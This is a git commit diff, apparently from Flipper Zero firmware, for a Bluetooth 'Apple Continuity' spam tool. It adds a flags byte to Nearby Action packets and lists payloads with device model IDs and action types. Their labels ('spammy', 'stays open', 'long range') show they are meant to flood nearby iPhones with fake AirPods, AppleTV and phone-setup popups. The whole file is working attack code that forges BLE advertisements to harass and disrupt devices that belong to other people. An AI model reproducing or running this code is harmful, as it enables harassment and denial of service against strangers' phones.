Add flags parameter to nearby actions

This commit is contained in:
Willy-JL
2023-09-06 03:55:10 +02:00
parent 355f1b9673
commit 37c8357d3e
3 changed files with 267 additions and 268 deletions

View File

@@ -18,9 +18,7 @@ typedef struct {
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
// Custom adv logic and Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/ // Custom adv logic and Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/
static Payload static Payload payloads[] = {
payloads[] =
{
#if false #if false
{.title = "AirDrop", {.title = "AirDrop",
.text = "", .text = "",
@@ -55,270 +53,270 @@ static Payload
.data = {.tethering_source = {}}, .data = {.tethering_source = {}},
}}, }},
#endif #endif
{.title = "Random Pair", {.title = "Random Pair",
.text = "Spam shuffle Proximity Pairs", .text = "Spam shuffle Proximity Pairs",
.random = true, .random = true,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}}, .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
}}, }},
{.title = "Random Action", {.title = "Random Action",
.text = "Spam shuffle Nearby Actions", .text = "Spam shuffle Nearby Actions",
.random = true, .random = true,
.msg = .msg =
{ {
.type = ContinuityTypeNearbyAction, .type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.type = 0x00}}, .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
}}, }},
{.title = "AirPods Pro", {.title = "AirPods Pro",
.text = "Modal, spammy (auto close)", .text = "Modal, spammy (auto close)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
}}, }},
{.title = "Beats Solo 3", {.title = "Beats Solo 3",
.text = "Modal, spammy (stays open)", .text = "Modal, spammy (stays open)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
}}, }},
{.title = "AirPods Max", {.title = "AirPods Max",
.text = "Modal, laggy (stays open)", .text = "Modal, laggy (stays open)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
}}, }},
{.title = "Beats Flex", {.title = "Beats Flex",
.text = "Modal, laggy (stays open)", .text = "Modal, laggy (stays open)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
}}, }},
{.title = "Airtag", {.title = "Airtag",
.text = "Modal, unlocked", .text = "Modal, unlocked",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}}, .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
}}, }},
{.title = "Hermes Airtag", {.title = "Hermes Airtag",
.text = "", .text = "",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}}, .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
}}, }},
{.title = "AppleTV AutoFill", {.title = "AppleTV AutoFill",
.text = "Banner, unlocked, long range", .text = "Banner, unlocked, long range",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeNearbyAction, .type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.type = 0x13}}, .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
}}, }},
{.title = "AppleTV Connecting...", {.title = "AppleTV Connecting...",
.text = "Modal, unlocked, long range", .text = "Modal, unlocked, long range",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeNearbyAction, .type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.type = 0x27}}, .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
}}, }},
{.title = "AppleTV Audio Sync", {.title = "AppleTV Audio Sync",
.text = "Banner, locked, long range", .text = "Banner, locked, long range",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeNearbyAction, .type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.type = 0x19}}, .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
}}, }},
{.title = "AppleTV Color Balance", {.title = "AppleTV Color Balance",
.text = "Banner, locked", .text = "Banner, locked",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeNearbyAction, .type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.type = 0x1E}}, .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
}}, }},
{.title = "Setup New iPhone", {.title = "Setup New iPhone",
.text = "Modal, locked", .text = "Modal, locked",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeNearbyAction, .type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.type = 0x09}}, .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
}}, }},
{.title = "Transfer Phone Number", {.title = "Transfer Phone Number",
.text = "Modal, locked", .text = "Modal, locked",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeNearbyAction, .type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.type = 0x02}}, .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
}}, }},
{.title = "Pair AppleTV", {.title = "Pair AppleTV",
.text = "Modal, unlocked", .text = "Modal, unlocked",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeNearbyAction, .type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.type = 0x06}}, .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
}}, }},
{.title = "HomePod Setup", {.title = "HomePod Setup",
.text = "Modal, unlocked", .text = "Modal, unlocked",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeNearbyAction, .type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.type = 0x0B}}, .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
}}, }},
{.title = "AirPods", {.title = "AirPods",
.text = "Modal, spammy (auto close)", .text = "Modal, spammy (auto close)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
}}, }},
{.title = "AirPods 2nd Gen", {.title = "AirPods 2nd Gen",
.text = "Modal, spammy (auto close)", .text = "Modal, spammy (auto close)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
}}, }},
{.title = "AirPods 3rd Gen", {.title = "AirPods 3rd Gen",
.text = "Modal, spammy (auto close)", .text = "Modal, spammy (auto close)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
}}, }},
{.title = "AirPods Pro 2nd Gen", {.title = "AirPods Pro 2nd Gen",
.text = "Modal, spammy (auto close)", .text = "Modal, spammy (auto close)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
}}, }},
{.title = "Powerbeats 3", {.title = "Powerbeats 3",
.text = "Modal, spammy (stays open)", .text = "Modal, spammy (stays open)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
}}, }},
{.title = "Powerbeats Pro", {.title = "Powerbeats Pro",
.text = "Modal, spammy (auto close)", .text = "Modal, spammy (auto close)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
}}, }},
{.title = "Beats Solo Pro", {.title = "Beats Solo Pro",
.text = "", .text = "",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
}}, }},
{.title = "Beats Studio Buds", {.title = "Beats Studio Buds",
.text = "Modal, spammy (auto close)", .text = "Modal, spammy (auto close)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
}}, }},
{.title = "Beats X", {.title = "Beats X",
.text = "Modal, spammy (stays open)", .text = "Modal, spammy (stays open)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
}}, }},
{.title = "Beats Studio 3", {.title = "Beats Studio 3",
.text = "Modal, spammy (stays open)", .text = "Modal, spammy (stays open)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
}}, }},
{.title = "Beats Studio Pro", {.title = "Beats Studio Pro",
.text = "Modal, spammy (stays open)", .text = "Modal, spammy (stays open)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
}}, }},
{.title = "Beats Fit Pro", {.title = "Beats Fit Pro",
.text = "Modal, spammy (auto close)", .text = "Modal, spammy (auto close)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
}}, }},
{.title = "Beats Studio Buds+", {.title = "Beats Studio Buds+",
.text = "Modal, spammy (auto close)", .text = "Modal, spammy (auto close)",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeProximityPair, .type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}}, .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
}}, }},
{.title = "Setup New AppleTV", {.title = "Setup New AppleTV",
.text = "Modal, unlocked", .text = "Modal, unlocked",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeNearbyAction, .type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.type = 0x01}}, .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
}}, }},
{.title = "HomeKit AppleTV Setup", {.title = "HomeKit AppleTV Setup",
.text = "Modal, unlocked", .text = "Modal, unlocked",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeNearbyAction, .type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.type = 0x0D}}, .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
}}, }},
{.title = "Join This AppleTV?", {.title = "Join This AppleTV?",
.text = "Modal, unlocked", .text = "Modal, unlocked",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeNearbyAction, .type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.type = 0x20}}, .data = {.nearby_action = {.flags = 0xC0, .type = 0x20}},
}}, }},
{.title = "AppleID for AppleTV?", {.title = "AppleID for AppleTV?",
.text = "Modal, unlocked", .text = "Modal, unlocked",
.random = false, .random = false,
.msg = .msg =
{ {
.type = ContinuityTypeNearbyAction, .type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.type = 0x2B}}, .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
}}, }},
}; };
struct { struct {

View File

@@ -129,7 +129,7 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
break; break;
case ContinuityTypeNearbyAction: case ContinuityTypeNearbyAction:
packet[i++] = 0xc1; // Action Flags packet[i++] = msg->data.nearby_action.flags; // Action Flags
packet[i++] = msg->data.nearby_action.type; packet[i++] = msg->data.nearby_action.type;
packet[i++] = (rand() % 256); // Authentication Tag packet[i++] = (rand() % 256); // Authentication Tag
packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // ...

View File

@@ -32,6 +32,7 @@ typedef union {
struct { struct {
} tethering_source; } tethering_source;
struct { struct {
uint8_t flags;
uint8_t type; uint8_t type;
} nearby_action; } nearby_action;
} ContinuityData; } ContinuityData;